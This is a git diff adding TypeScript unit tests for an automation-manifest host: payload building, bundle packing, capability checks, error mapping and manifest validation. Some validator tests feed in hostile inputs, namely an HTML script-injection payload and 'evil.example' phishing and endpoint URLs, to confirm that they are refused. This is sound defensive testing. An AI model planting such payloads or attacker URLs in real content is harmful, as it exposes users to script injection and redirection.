+  bundle.scenarios.flatMap((scenario) =>
+    scenario.create && scenario.matchesSetupPayload !== false
+      ? [
+          {
+            name: `${bundle.automationId}/${scenario.id}`,
+            automationId: bundle.automationId,
+            formValues: scenario.formValues ?? {},
+            body: scenario.create.request.body,
+            // A prompt entry records none; buildCreatePayload ignores it.
+            tarballPath: scenario.upload?.response.body.tarball_path,
+          },
+        ]
+      : [],
+  ),
+);
+
+const PREFLIGHT_CASES = BUNDLES.flatMap((bundle) =>
+  bundle.scenarios.flatMap((scenario) =>
+    scenario.preflight
+      ? [
+          {
+            name: `${bundle.automationId}/${scenario.id}`,
+            automationId: bundle.automationId,
+            formValues: scenario.formValues ?? {},
+            body: scenario.preflight.request.body,
+          },
+        ]
+      : [],
+  ),
+);
+
+const CONVERSATION_CASES = BUNDLES.flatMap((bundle) =>
+  bundle.scenarios.flatMap((scenario) =>
+    scenario.conversation
+      ? [
+          {
+            name: `${bundle.automationId}/${scenario.id}`,
+            automationId: bundle.automationId,
+            formValues: scenario.formValues ?? {},
+            message: scenario.conversation.request.message,
+          },
+        ]
+      : [],
+  ),
+);
+
+const SERVICE_ERROR_CASES = BUNDLES.flatMap((bundle) =>
+  bundle.scenarios.flatMap((scenario) => {
+    const exchange = scenario.preflight ?? scenario.create;
+    if (!scenario.expectedFieldErrors || !exchange) return [];
+    return [
+      {
+        name: `${bundle.automationId}/${scenario.id}`,
+        automationId: bundle.automationId,
+        formValues: scenario.formValues ?? {},
+        responseBody: exchange.response.body,
+        expectedFieldErrors: scenario.expectedFieldErrors,
+      },
+    ];
+  }),
+);
+
+describe("the published catalog", () => {
+  it.each(BUNDLES.map((bundle) => [bundle.automationId]))(
+    "admits %s",
+    (automationId) => {
+      // Act
+      const entry = SETUP_REGISTRY.findById(automationId);
+
+      // Assert
+      expect(entry).not.toBeNull();
+    },
+  );
+});
+
+describe("the contract fixtures", () => {
+  it("address the endpoints the host calls", () => {
+    // Act
+    const createPaths = new Set(
+      BUNDLES.flatMap((bundle) =>
+        bundle.scenarios.flatMap((scenario) =>
+          scenario.create ? [scenario.create.request.path] : [],
+        ),
+      ),
+    );
+    const preflightPaths = new Set(
+      BUNDLES.flatMap((bundle) =>
+        bundle.scenarios.flatMap((scenario) =>
+          scenario.preflight ? [scenario.preflight.request.path] : [],
+        ),
+      ),
+    );
+
+    // Assert
+    // The fixtures cover both creation paths: a prompt entry through the preset
+    // endpoint, and a bundle entry through the plain create it uploads to first.
+    expect({
+      create: [...createPaths].sort(),
+      preflight: [...preflightPaths],
+    }).toEqual({
+      create: [
+        automationCreateEndpoint(requireEntry("github-pr-reviewer")),
+        automationCreateEndpoint(),
+      ].sort(),
+      preflight: ["/v1/validate"],
+    });
+  });
+});
+
+describe("buildCreatePayload", () => {
+  it.each(CREATE_CASES)(
+    "derives the $name create body its fixture pins",
+    ({ automationId, formValues, body, tarballPath }) => {
+      // Arrange
+      const entry = requireEntry(automationId);
+
+      // Act
+      const payload = tarballPath
+        ? buildCreatePayload(entry, formValues, tarballPath)
+        : buildCreatePayload(entry, formValues);
+
+      // Assert
+      expect(payload).toEqual(body);
+    },
+  );
+
+  it("names an automation after the one repository it watches", () => {
+    // Arrange
+    const entry = requireEntry("github-pr-reviewer");
+
+    // Act
+    const payload = buildCreatePayload(entry, {
+      repositories: ["OpenHands/automation"],
+    });
+
+    // Assert
+    expect(payload?.name).toBe(`${entry.name} - OpenHands/automation`);
+  });
+
+  it("names an automation watching several through the host's translations", () => {
+    // Arrange — several repositories are a count rather than a list of names
+    // that would not fit, and a count is a word this host has to translate.
+    const { form } = createSetup();
+    const entry = createSetupEntry({
+      setup: createSetup({
+        form: {
+          ...form,
+          args: {
+            ...form.args,
+            repository: { ...form.args.repository, multiple: true },
+          },
+        },
+      }),
+    });
+
+    // Act
+    const payload = buildCreatePayload(entry, {
+      repository: ["OpenHands/automation", "OpenHands/extensions"],
+      widgetName: "Widgets",
+    });
+
+    // Assert
+    expect(payload?.name).toBe(`${entry.name} - 2 repositories`);
+    expect(translate).toHaveBeenCalledWith("SETUP$REPOSITORY_COUNT", {
+      total: 2,
+    });
+  });
+
+  it("sends no request body for an entry that hands setup to a conversation", () => {
+    // Arrange
+    const entry = requireEntry("incident-retrospective-drafter");
+
+    // Act
+    const payload = buildCreatePayload(entry, {});
+
+    // Assert
+    expect(payload).toBeNull();
+  });
+
+  it("attaches template provenance when the entry carries a version", () => {
+    // Arrange
+    const entry = createSetupEntry({ version: "1.0.0" });
+    const values = {
+      repository: "octo/widgets",
+      widgetName: "gadget",
+      schedule: "*/5 * * * *",
+    };
+
+    // Act
+    const payload = buildCreatePayload(entry, values);
+
+    // Assert
+    expect(payload?.template).toEqual({
+      id: "widget-monitor",
+      version: "1.0.0",
+      config: values,
+    });
+  });
+
+  it("sends the payload unchanged for an entry without a version", () => {
+    // Arrange
+    const entry = createSetupEntry();
+    const values = {
+      repository: "octo/widgets",
+      widgetName: "gadget",
+      schedule: "*/5 * * * *",
+    };
+
+    // Act
+    const payload = buildCreatePayload(entry, values);
+
+    // Assert
+    expect(payload).not.toBeNull();
+    expect(payload).not.toHaveProperty("template");
+  });
+});
+
+describe("buildPreflightBody", () => {
+  it.each(PREFLIGHT_CASES)(
+    "derives the $name preflight envelope its fixture pins",
+    ({ automationId, formValues, body }) => {
+      // Arrange
+      const entry = requireEntry(automationId);
+
+      // Act
+      const envelope = buildPreflightBody(entry, formValues);
+
+      // Assert
+      expect(envelope).toEqual(body);
+    },
+  );
+});
+
+describe("buildAssistedMessage", () => {
+  it.each(CONVERSATION_CASES)(
+    "opens $name with the skill command and the fixture's seed message",
+    ({ automationId, formValues, message }) => {
+      // Arrange
+      const entry = requireEntry(automationId);
+
+      // Act
+      const seed = buildAssistedMessage(entry, formValues);
+
+      // Assert
+      expect(seed).toBe(`${SETUP_COMMANDS[automationId]}\n\n${message}`);
+    },
+  );
+});
+
+describe("service rejections mapped back to fields", () => {
+  it.each(SERVICE_ERROR_CASES)(
+    "maps the $name rejection to the fields the fixture names",
+    ({ automationId, formValues, responseBody, expectedFieldErrors }) => {
+      // Arrange
+      const entry = requireEntry(automationId);
+      const payload = buildCreatePayload(entry, formValues);
+
+      // Act
+      const mapped = mapServiceErrors(
+        normalizeServiceErrors(responseBody, payload),
+        deriveErrorMap(entry),
+      );
+
+      // Assert
+      expect(mapped).toEqual({
+        fieldErrors: expectedFieldErrors,
+        formErrors: [],
+      });
+    },
+  );
+});
+
+describe("local validation of fixture form values", () => {
+  // The unsafe-trigger-phrase case that used to live here is gone: it belonged
+  // to github-repo-monitor's event trigger, whose JMESPath filter the phrase was
+  // interpolated into. The entry now runs on cron, so no catalog entry declares
+  // the `safeExpressionLiteral` constraint any more and there is no fixture to
+  // pin. The constraint itself is still exercised, on a synthetic setup, by
+  // `manifest-local-validation.test.ts`.
+
+  it("passes an entirely blank assisted form, as its fixture records", () => {
+    // Arrange
+    const scenario = requireScenario(BUNDLES[2], "nothing-filled-in");
+    const entry = requireEntry("incident-retrospective-drafter");
+
+    // Act
+    const errors = validateFormValues(entry.setup, scenario.formValues ?? {});
+
+    // Assert
+    expect(errors).toEqual({});
+  });
+});
+
+describe("deriveErrorMap", () => {
+  it("recovers which fields built each payload path", () => {
+    // Act
+    const errorMap = deriveErrorMap(requireEntry("github-pr-reviewer"));
+
+    // Assert — a bundle's answers reach the service through its rendered
+    // config rather than through a prompt, so the paths are the config's.
+    expect(errorMap).toEqual({
+      name: ["repositories"],
+      "trigger.schedule": ["schedule"],
+      "trigger.timezone": ["timezone"],
+      "template.config.repos": ["repositories"],
+      "template.config.trigger_label": ["triggerLabel"],
+      "template.config.review_tone": ["reviewTone"],
+    });
+  });
+});
diff --git a/__tests__/manifests/interface-validation.test.ts b/__tests__/manifests/interface-validation.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..951e9527ec8c2654a195d62624acb2f2cfcdce41
--- /dev/null
+++ b/__tests__/manifests/interface-validation.test.ts
@@ -0,0 +1,361 @@
+import { describe, expect, it } from "vitest";
+import { validateInterfaceManifest } from "#/manifests/interface-validation";
+import type { InterfaceValidationContext } from "#/manifests/interface-validation";
+import type {
+  InterfaceIconSlug,
+  InterfaceManifest,
+  InterfaceSubPageId,
+  OverviewMetric,
+} from "#/manifests/types";
+import {
+  createInterfaceManifest,
+  createInterfaceManifestWith,
+  createInterfaceManifestWithSubPages,
+} from "./manifest-test-data";
+
+const CONTEXT: InterfaceValidationContext = {
+  catalogIds: new Set([
+    "github-pr-reviewer",
+    "github-repo-monitor",
+    "slack-channel-monitor",
+  ]),
+  mountedRoutes: {
+    list: "/automations",
+    setup: "/automations/new/:automationId",
+    detail: "/automations/:automationId",
+  },
+};
+
+/** The context of a host that also mounts the templates sub-page. */
+const SUB_PAGE_CONTEXT: InterfaceValidationContext = {
+  ...CONTEXT,
+  mountedRoutes: {
+    ...CONTEXT.mountedRoutes,
+    templates: "/automations/templates",
+  },
+};
+
+describe("validateInterfaceManifest", () => {
+  it("admits a well-formed manifest", () => {
+    // Arrange
+    const manifest = createInterfaceManifest();
+
+    // Act
+    const result = validateInterfaceManifest(manifest, CONTEXT);
+
+    // Assert
+    expect(result).toEqual({ valid: true, errors: [] });
+  });
+
+  // Each case is a separate invariant the host enforces on data authored in
+  // another repository. A manifest that trips any of them reverts the whole
+  // interface to the host's defaults.
+  it.each([
+    ["a version this host cannot interpret", { version: "2.0" }],
+    [
+      // The host serves what it has registrations for; a manifest cannot remap
+      // the router table, only own link construction against it.
+      "a route the host has no registration for",
+      {
+        routes: {
+          list: "/automations",
+          setup: "/workflows/new/:automationId",
+          detail: "/automations/:automationId",
+        },
+      },
+    ],
+    [
+      "markup inside user-visible copy",
+      {
+        navigation: {
+          sidebar: { label: "<img src=x onerror=alert(1)>" },
+          commandMenu: {
+            title: "Automations",
+            description: "Review them.",
+            keywords: "automate",
+          },
+        },
+      },
+    ],
+    [
+      "a documentation link outside the product documentation",
+      { docsUrl: "https://evil.example/phishing" },
+    ],
+    [
+      "an endpoint that is not a rooted service-relative path",
+      {
+        endpoints: {
+          ...createInterfaceManifest().endpoints,
+          list: "https://evil.example/v1",
+        },
+      },
+    ],
+    [
+      "an id endpoint without its {id} substitution",
+      {
+        endpoints: {
+          ...createInterfaceManifest().endpoints,
+          detail: "/v1/latest",
+        },
+      },
+    ],
+    [
+      "a substitution on an endpoint the host calls without an id",
+      {
+        endpoints: {
+          ...createInterfaceManifest().endpoints,
+          list: "/v1/{id}",
+        },
+      },
+    ],
+    [
+      "a featured automation the catalog does not publish",
+      { featuredAutomationIds: ["github-pr-reviewer", "unpublished-entry"] },
+    ],
+    [
+      "an attribute the host cannot set",
+      {
+        attributes: {
+          tarballPath: { type: "text", label: "Tarball", required: false },
+        },
+      },
+    ],
+    [
+      "constraints on a non-number attribute",
+      {
+        attributes: {
+          name: {
+            type: "text",
+            label: "Name",
+            required: true,
+            constraints: { max: 50 },
+          },
+        },
+      },
+    ],
+    // The next three pin an admitted manifest to the semantics the edit
+    // dialog implements, so it can never promise a control, a requiredness,
+    // or a minimum the form would silently ignore.
+    [
+      "a control the host does not render for that attribute",
+      {
+        attributes: {
+          name: { type: "textarea", label: "Name", required: true },
+        },
+      },
+    ],
+    [
+      "a requiredness the host does not enforce",
+      {
+        attributes: {
+          prompt: { type: "textarea", label: "Prompt", required: true },
+        },
+      },
+    ],
+    [
+      "a minimum the host does not enforce",
+      {
+        attributes: {
+          timeout: {
+            type: "number",
+            label: "Timeout",
+            required: false,
+            constraints: { min: 60, max: 900 },
+          },
+        },
+      },
+    ],
+    [
+      "a responder integration id that is not a lowercase slug",
+      { responderIntegrationIds: ["GitHub!"] },
+    ],
+    ["a key this host does not read", { dashboards: [] }],
+  ])("refuses %s", (_case, overrides) => {
+    // Arrange
+    const candidate = createInterfaceManifestWith(overrides);
+
+    // Act
+    const result = validateInterfaceManifest(candidate, CONTEXT);
+
+    // Assert
+    expect(result.valid).toBe(false);
+  });
+
+  it("admits a manifest declaring the complete sub-page surface", () => {
+    // Arrange
+    const manifest = createInterfaceManifestWithSubPages();
+
+    // Act
+    const result = validateInterfaceManifest(manifest, SUB_PAGE_CONTEXT);
+
+    // Assert
+    expect(result).toEqual({ valid: true, errors: [] });
+  });
+
+  // Each case breaks the sub-page surface in one specific way. As with the
+  // base cases, one bad field reverts the whole manifest to host defaults.
+  it.each<[string, (manifest: InterfaceManifest) => InterfaceManifest]>([
+    [
+      // Navigation, routes, and the dashboard sections describe one surface;
+      // a partial declaration would render navigation to a missing page.
+      "a sub-page surface declared only in part",
+      (manifest) => ({
+        ...manifest,
+        pages: {
+          list: manifest.pages.list,
+          detail: manifest.pages.detail,
+          edit: manifest.pages.edit,
+        },
+      }),
+    ],
+    [
+      "a templates route the host does not mount",
+      (manifest) => ({
+        ...manifest,
+        routes: { ...manifest.routes, templates: "/automations/library" },
+      }),
+    ],
+    [
+      "a sub-page this host does not serve",
+      (manifest) => ({
+        ...manifest,
+        navigation: {
+          ...manifest.navigation,
+          subPages: [
+            {
+              page: "workflows" as InterfaceSubPageId,
+              label: "Widget flows",
+              icon: "sparkles",
+            },
+          ],
+        },
+      }),
+    ],
+    [
+      "an icon outside the host's icon map",
+      (manifest) => ({
+        ...manifest,
+        navigation: {
+          ...manifest.navigation,
+          subPages: [
+            {
+              page: "list",
+              label: "Widget dashboard",
+              icon: "rocket" as InterfaceIconSlug,
+            },
+          ],
+        },
+      }),
+    ],
+    [
+      "a tile metric this host does not compute",
+      (manifest) => ({
+        ...manifest,
+        pages: {
+          ...manifest.pages,
+          list: {
+            ...manifest.pages.list,
+            overview: {
+              label: "Widget overview",
+              tiles: [
+                {
+                  metric: "mean-time-between-failures" as OverviewMetric,
+                  label: "Widget MTBF",
+                  detail: "Recent widgets",
+                  icon: "timer",
+                },
+              ],
+            },
+          },
+        },
+      }),
+    ],
+    [
+      "tile copy using a placeholder its metric does not expose",
+      (manifest) => ({
+        ...manifest,
+        pages: {
+          ...manifest.pages,
+          list: {
+            ...manifest.pages.list,
+            overview: {
+              label: "Widget overview",
+              tiles: [
+                {
+                  metric: "total-runs",
+                  label: "Widget runs",
+                  detail: "{{active}} runs",
+                  icon: "activity",
+                },
+              ],
+            },
+          },
+        },
+      }),
+    ],
+    [
+      // "all" is the host's initial selection and reset target; without it a
+      // filter could never be neutral.
+      "a filter without the all option",
+      (manifest) => ({
+        ...manifest,
+        pages: {
+          ...manifest.pages,
+          list: {
+            ...manifest.pages.list,
+            filters: [
+              {
+                id: "status",
+                label: "Filter widgets by state",
+                options: [
+                  { value: "active", label: "Live" },
+                  { value: "disabled", label: "Off" },
+                ],
+              },
+            ],
+          },
+        },
+      }),
+    ],
+    [
+      "a sort default the options do not offer",
+      (manifest) => ({
+        ...manifest,
+        pages: {
+          ...manifest.pages,
+          list: {
+            ...manifest.pages.list,
+            sort: {
+              label: "Order widgets",
+              default: "name",
+              options: [{ value: "last-run", label: "Latest" }],
+            },
+          },
+        },
+      }),
+    ],
+  ])("refuses %s", (_case, breakManifest) => {
+    // Arrange
+    const candidate = breakManifest(createInterfaceManifestWithSubPages());
+
+    // Act
+    const result = validateInterfaceManifest(candidate, SUB_PAGE_CONTEXT);
+
+    // Assert
+    expect(result.valid).toBe(false);
+  });
+
+  it("reports every problem at once so an author sees the whole picture", () => {
+    // Arrange
+    const candidate = createInterfaceManifestWith({
+      docsUrl: "https://evil.example/",
+      featuredAutomationIds: ["unpublished-entry"],
+    });
+
+    // Act
+    const { errors } = validateInterfaceManifest(candidate, CONTEXT);
+
+    // Assert
+    expect(errors).toHaveLength(2);
+  });
+});
diff --git a/__tests__/manifests/manifest-bundle.test.ts b/__tests__/manifests/manifest-bundle.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..970d8e01187f551bb71f06a8484463b617c2a829
--- /dev/null
+++ b/__tests__/manifests/manifest-bundle.test.ts
@@ -0,0 +1,177 @@
+import { gunzipSync } from "node:zlib";
+import { describe, expect, it, vi } from "vitest";
+
+const BUNDLE_FILES: Record<string, Record<string, string>> = {
+  "widget-monitor": { "main.py": "print('watching')\n" },
+};
+
+vi.mock("@openhands/extensions/automations", () => ({
+  AUTOMATION_CATALOG: [],
+  getAutomationBundleFiles: (id: string) => BUNDLE_FILES[id],
+}));
+
+const { packBundle, getBundleFiles } =
+  await import("#/manifests/manifest-bundle");
+const { createSetupEntry, createSetup } = await import("./manifest-test-data");
+
+const decoder = new TextDecoder();
+
+interface ArchiveMember {
+  content: string;
+  mode: number;
+}
+
+/** Every member of a packed bundle, keyed by name. */
+function readMembers(archive: Uint8Array): Record<string, ArchiveMember> {
+  const tar = new Uint8Array(gunzipSync(archive));
+  const members: Record<string, ArchiveMember> = {};
+  const field = (block: Uint8Array, offset: number, size: number) =>
+    decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, "");
+
+  let offset = 0;
+  while (offset + 512 <= tar.length) {
+    const header = tar.subarray(offset, offset + 512);
+    if (header.every((byte) => byte === 0)) break;
+    const size = parseInt(field(header, 124, 12).trim() || "0", 8);
+    members[field(header, 0, 100)] = {
+      content: decoder.decode(tar.subarray(offset + 512, offset + 512 + size)),
+      mode: parseInt(field(header, 100, 8).trim() || "0", 8),
+    };
+    offset += 512 + Math.ceil(size / 512) * 512;
+  }
+  return members;
+}
+
+/** The members' contents alone, for the cases that do not read modes. */
+function readArchive(archive: Uint8Array): Record<string, string> {
+  return Object.fromEntries(
+    Object.entries(readMembers(archive)).map(([name, member]) => [
+      name,
+      member.content,
+    ]),
+  );
+}
+
+function bundleEntry(overrides = {}) {
+  return createSetupEntry({
+    setup: createSetup({
+      prompt: undefined,
+      bundle: {
+        version: "1.0.0",
+        entrypoint: "python3 main.py",
+        files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+        config: {
+          repos: ["{{form.repository}}"],
+          max_per_run: 3,
+          dry_run: false,
+        },
+        ...overrides,
+      },
+    }),
+  });
+}
+
+const VALUES = { repository: "OpenHands/automation", schedule: "*/15 * * * *" };
+
+describe("packBundle", () => {
+  it("packs the entry's files with the config the form rendered", async () => {
+    // Act
+    const archive = await packBundle(bundleEntry(), VALUES);
+
+    // Assert
+    const contents = readArchive(archive);
+    expect(contents["main.py"]).toBe("print('watching')\n");
+    expect(JSON.parse(contents["config.json"])).toEqual({
+      repos: ["OpenHands/automation"],
+      max_per_run: 3,
+      dry_run: false,
+    });
+  });
+
+  it("packs the same config the create request records as provenance", async () => {
+    // Arrange: the tarball and the template config disagreeing would leave the
+    // stored provenance describing a run that never happened.
+    const entry = bundleEntry();
+    const { buildCreatePayload } = await import("#/manifests/automation-setup");
+
+    // Act
+    const contents = readArchive(await packBundle(entry, VALUES));
+    const payload = buildCreatePayload(entry, VALUES);
+
+    // Assert
+    expect(JSON.parse(contents["config.json"])).toEqual(
+      (payload?.template as { config: unknown }).config,
+    );
+  });
+
+  it("keeps a multi-value answer a list where the config states one value", async () => {
+    // Arrange
+    const entry = bundleEntry({ config: { repos: "{{form.repository}}" } });
+
+    // Act
+    const contents = readArchive(
+      await packBundle(entry, {
+        ...VALUES,
+        repository: ["OpenHands/automation", "OpenHands/extensions"],
+      }),
+    );
+
+    // Assert
+    expect(JSON.parse(contents["config.json"])).toEqual({
+      repos: ["OpenHands/automation", "OpenHands/extensions"],
+    });
+  });
+
+  it("renders a placeholder naming something that is not a value as text", async () => {
+    // Arrange: a manifest naming its own setup block would otherwise put that
+    // whole object into the config it ships and the provenance it records.
+    const entry = bundleEntry({ config: { leak: "{{automation.setup}}" } });
+
+    // Act
+    const contents = readArchive(await packBundle(entry, VALUES));
+
+    // Assert
+    expect(JSON.parse(contents["config.json"])).toEqual({ leak: "" });
+  });
+
+  it("packs a file the entrypoint runs itself as executable", async () => {
+    // Arrange
+    const entry = bundleEntry({ entrypoint: "./main.py" });
+
+    // Act
+    const members = readMembers(await packBundle(entry, VALUES));
+
+    // Assert
+    expect(members["main.py"].mode).toBe(0o755);
+  });
+
+  it("packs a file the entrypoint only passes to an interpreter as data", async () => {
+    // Act
+    const members = readMembers(await packBundle(bundleEntry(), VALUES));
+
+    // Assert: `python3 main.py` runs python3, not main.py.
+    expect(members["main.py"].mode).toBe(0o644);
+  });
+
+  it("reports an entry the published package ships no files for", () => {
+    // Act + Assert
+    expect(() => getBundleFiles("not-published")).toThrow(
+      /ships no bundle files/,
+    );
+  });
+
+  it("reports a declared file the published package is missing", async () => {
+    // Arrange
+    const entry = bundleEntry({
+      files: {
+        "main.py": "skills/widget-monitor/scripts/main.py",
+        "setup.sh": "automations/catalog/widget-monitor/setup.sh",
+      },
+    });
+
+    // Act + Assert
+    await expect(packBundle(entry, VALUES)).rejects.toThrow(
+      /missing bundle files.*setup\.sh/,
+    );
+  });
+});
diff --git a/__tests__/manifests/manifest-capabilities.test.ts b/__tests__/manifests/manifest-capabilities.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3a0406b52565b7ceaeb9d921db9898d004638bbd
--- /dev/null
+++ b/__tests__/manifests/manifest-capabilities.test.ts
@@ -0,0 +1,125 @@
+import { describe, expect, it } from "vitest";
+import capabilitiesFixture from "@openhands/extensions/testing/automations/capabilities.json";
+import incidentFixture from "@openhands/extensions/testing/automations/incident-retrospective-drafter.json";
+import prReviewerFixture from "@openhands/extensions/testing/automations/github-pr-reviewer.json";
+import repoMonitorFixture from "@openhands/extensions/testing/automations/github-repo-monitor.json";
+import { assessCapabilityRequirements } from "#/manifests/manifest-capabilities";
+import { SETUP_REGISTRY } from "#/manifests/manifest-sources";
+import type { DeploymentCapabilities } from "#/manifests/types";
+import { createSetup, createSetupEntry } from "./manifest-test-data";
+
+const READY_DEPLOYMENT: DeploymentCapabilities = {
+  ready: true,
+  triggerKinds: ["cron"],
+  eventSources: [],
+  eventTypes: [],
+  triggers: { cron: { minIntervalSeconds: 60, timezones: ["UTC"] } },
+  features: ["repoClone", "presetPrompt"],
+};
+
+describe("assessCapabilityRequirements", () => {
+  it("supports a manifest whose every requirement the deployment reports", () => {
+    // Arrange
+    const entry = createSetupEntry({
+      requires: {
+        integrations: { github: { message: "Used to read widgets." } },
+        features: ["repoClone"],
+      },
+    });
+
+    // Act
+    const assessment = assessCapabilityRequirements(entry, READY_DEPLOYMENT);
+
+    // Assert
+    expect(assessment).toEqual({ supported: true, unmet: [] });
+  });
+
+  it("names every requirement the deployment left unreported", () => {
+    // Arrange — the `cronOnly` deployment shape: reachable and ready, but no
+    // webhooks can be delivered to it, so it offers neither the feature nor
+    // the trigger kind an event-driven entry needs.
+    const entry = createSetupEntry({
+      requires: {
+        integrations: { github: { message: "Used to read widgets." } },
+        features: ["repoClone", "webhookDelivery"],
+      },
+      setup: createSetup({
+        form: {
+          triggers: {
+            event: {
+              on: {
+                type: "select",
+                label: "Respond to",
+                help: "Which event.",
+                required: true,
+                options: [{ value: "push", label: "Push" }],
+              },
+            },
+          },
+          args: {},
+        },
+      }),
+    });
+
+    // Act
+    const assessment = assessCapabilityRequirements(entry, READY_DEPLOYMENT);
+
+    // Assert — both names, so the block can say what is missing.
+    expect(assessment).toEqual({
+      supported: false,
+      unmet: ["webhookDelivery", "event"],
+    });
+  });
+
+  it("does not support any manifest while the deployment reports it is not ready", () => {
+    // Act
+    const assessment = assessCapabilityRequirements(createSetupEntry(), {
+      ...READY_DEPLOYMENT,
+      ready: false,
+    });
+
+    // Assert — no single requirement is the reason, so none is named.
+    expect(assessment).toEqual({ supported: false, unmet: [] });
+  });
+});
+
+describe("the published contract fixtures", () => {
+  // Each fixture bundle lists in `blockedBy` exactly the published deployment
+  // shapes its entry cannot run under. The host's assessment must agree with
+  // that record for every entry × shape pair.
+  const shapes = Object.entries(capabilitiesFixture.responses).map(
+    ([shapeName, response]) => ({
+      shapeName,
+      capabilities: response.body as DeploymentCapabilities,
+    }),
+  );
+
+  const bundles = [prReviewerFixture, repoMonitorFixture, incidentFixture] as {
+    automationId: string;
+    blockedBy: string[];
+  }[];
+
+  it.each(
+    bundles.flatMap(({ automationId, blockedBy }) =>
+      shapes.map(({ shapeName, capabilities }) => ({
+        automationId,
+        shapeName,
+        capabilities,
+        blocked: blockedBy.includes(shapeName),
+      })),
+    ),
+  )(
+    "$automationId under the $shapeName deployment: blocked=$blocked",
+    ({ automationId, capabilities, blocked }) => {
+      // Arrange
+      const entry = SETUP_REGISTRY.findById(automationId);
+      if (!entry) throw new Error(`The registry did not admit ${automationId}`);
+
+      // Act
+      const assessment = assessCapabilityRequirements(entry, capabilities);
+
+      // Assert
+      expect(assessment.supported).toBe(!blocked);
+    },
+  );
+});
diff --git a/__tests__/manifests/manifest-error-map.test.ts b/__tests__/manifests/manifest-error-map.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..8e497b93492e90549126a405d3303e25cec247ef
--- /dev/null
+++ b/__tests__/manifests/manifest-error-map.test.ts
@@ -0,0 +1,138 @@
+import { describe, expect, it } from "vitest";
+import {
+  mapServiceErrors,
+  normalizeServiceErrors,
+} from "#/manifests/manifest-error-map";
+
+/** The body the host derived, as the service received it. */
+const PAYLOAD = {
+  name: "PR Reviewer - OpenHands/agent-server-gui",
+  prompt: "Review pull requests labeled 'openhands-review'.",
+  repos: [{ url: "OpenHands/agent-server-gui", ref: "main" }],
+  trigger: { type: "cron", schedule: "0 0 31 2 *", timezone: "UTC" },
+};
+
+/** As `deriveErrorMap` produces it: every path maps to the fields that built it. */
+const ERROR_MAP = {
+  "repos[0].ref": ["ref"],
+  "trigger.schedule": ["schedule"],
+  prompt: ["triggerLabel", "reviewTone"],
+};
+
+describe("normalizeServiceErrors", () => {
+  it("reads field-addressed errors out of a preflight result", () => {
+    // Act
+    const errors = normalizeServiceErrors(
+      {
+        valid: false,
+        errors: [
+          {
+            field: "trigger.schedule",
+            message: "Minimum interval for this deployment is 5 minutes.",
+          },
+        ],
+      },
+      PAYLOAD,
+    );
+
+    // Assert
+    expect(errors).toEqual([
+      {
+        path: "trigger.schedule",
+        message: "Minimum interval for this deployment is 5 minutes.",
+      },
+    ]);
+  });
+
+  it("resolves a rejection addressed through a discriminated union", () => {
+    // The service names the branch it validated against — `trigger.cron` —
+    // but the body it received has no `cron` key. Walking the payload and
+    // skipping segments that do not resolve reduces the address to one the
+    // manifest can map, without the host knowing what a trigger is.
+
+    // Act
+    const errors = normalizeServiceErrors(
+      {
+        detail: [
+          {
+            loc: ["body", "trigger", "cron", "schedule"],
+            msg: "Cron expression cannot produce any future fire times.",
+          },
+        ],
+      },
+      PAYLOAD,
+    );
+
+    // Assert
+    expect(errors[0].path).toBe("trigger.schedule");
+  });
+
+  it("addresses an element of a list by its index", () => {
+    // Act
+    const errors = normalizeServiceErrors(
+      { detail: [{ loc: ["body", "repos", 0, "ref"], msg: "Unknown ref." }] },
+      PAYLOAD,
+    );
+
+    // Assert
+    expect(errors[0].path).toBe("repos[0].ref");
+  });
+});
+
+describe("mapServiceErrors", () => {
+  it("highlights the field that produced the rejected value", () => {
+    // Act
+    const { fieldErrors } = mapServiceErrors(
+      [{ path: "trigger.schedule", message: "Too frequent." }],
+      ERROR_MAP,
+    );
+
+    // Assert
+    expect(fieldErrors).toEqual({ schedule: "Too frequent." });
+  });
+
+  it("highlights every field that contributed to a combined value", () => {
+    // Act
+    const { fieldErrors } = mapServiceErrors(
+      [{ path: "prompt", message: "Prompt is too long." }],
+      ERROR_MAP,
+    );
+
+    // Assert
+    expect(fieldErrors).toEqual({
+      triggerLabel: "Prompt is too long.",
+      reviewTone: "Prompt is too long.",
+    });
+  });
+
+  it("highlights the field behind a list entry the map has no index for", () => {
+    // Arrange: the map is derived from a payload holding one repository, so a
+    // rejection of the third one addresses a path that was never in it.
+
+    // Act
+    const { fieldErrors, formErrors } = mapServiceErrors(
+      [{ path: "repos[2].ref", message: "Unknown branch." }],
+      ERROR_MAP,
+    );
+
+    // Assert
+    expect({ fieldErrors, formErrors }).toEqual({
+      fieldErrors: { ref: "Unknown branch." },
+      formErrors: [],
+    });
+  });
+
+  it("surfaces an unmappable rejection against the form rather than losing it", () => {
+    // Act
+    const { fieldErrors, formErrors } = mapServiceErrors(
+      [{ path: "tarball_path", message: "Upload failed." }],
+      ERROR_MAP,
+    );
+
+    // Assert
+    expect({ fieldErrors, formErrors }).toEqual({
+      fieldErrors: {},
+      formErrors: ["Upload failed."],
+    });
+  });
+});
diff --git a/__tests__/manifests/manifest-registry.test.ts b/__tests__/manifests/manifest-registry.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a202345a3a409a2e0a1cc1f8968efccdd5594ac4
--- /dev/null
+++ b/__tests__/manifests/manifest-registry.test.ts
@@ -0,0 +1,77 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { createSetupRegistry } from "#/manifests/manifest-registry";
+import {
+  createSetup,
+  createSetupEntry,
+  createSetupEntryWith,
+} from "./manifest-test-data";
+
+describe("createSetupRegistry", () => {
+  beforeEach(() => {
+    // Rejections are reported for the manifest author, not the user.
+    vi.spyOn(console, "warn").mockImplementation(() => {});
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("resolves an admitted manifest by its id", () => {
+    // Arrange
+    const entry = createSetupEntry();
+    const registry = createSetupRegistry([entry]);
+
+    // Act
+    const resolved = registry.findById("widget-monitor");
+
+    // Assert
+    expect(resolved).toBe(entry);
+  });
+
+  it("claims no id the catalog did not offer", () => {
+    // Arrange
+    const registry = createSetupRegistry([createSetupEntry()]);
+
+    // Act
+    const resolved = registry.findById("something-else");
+
+    // Assert
+    expect(resolved).toBeNull();
+  });
+
+  it("passes over a catalog entry that ships no setup experience", () => {
+    // Arrange — a card-only entry is the normal case, not a rejection.
+    const cardOnly = { id: "card-only", name: "Card only" };
+
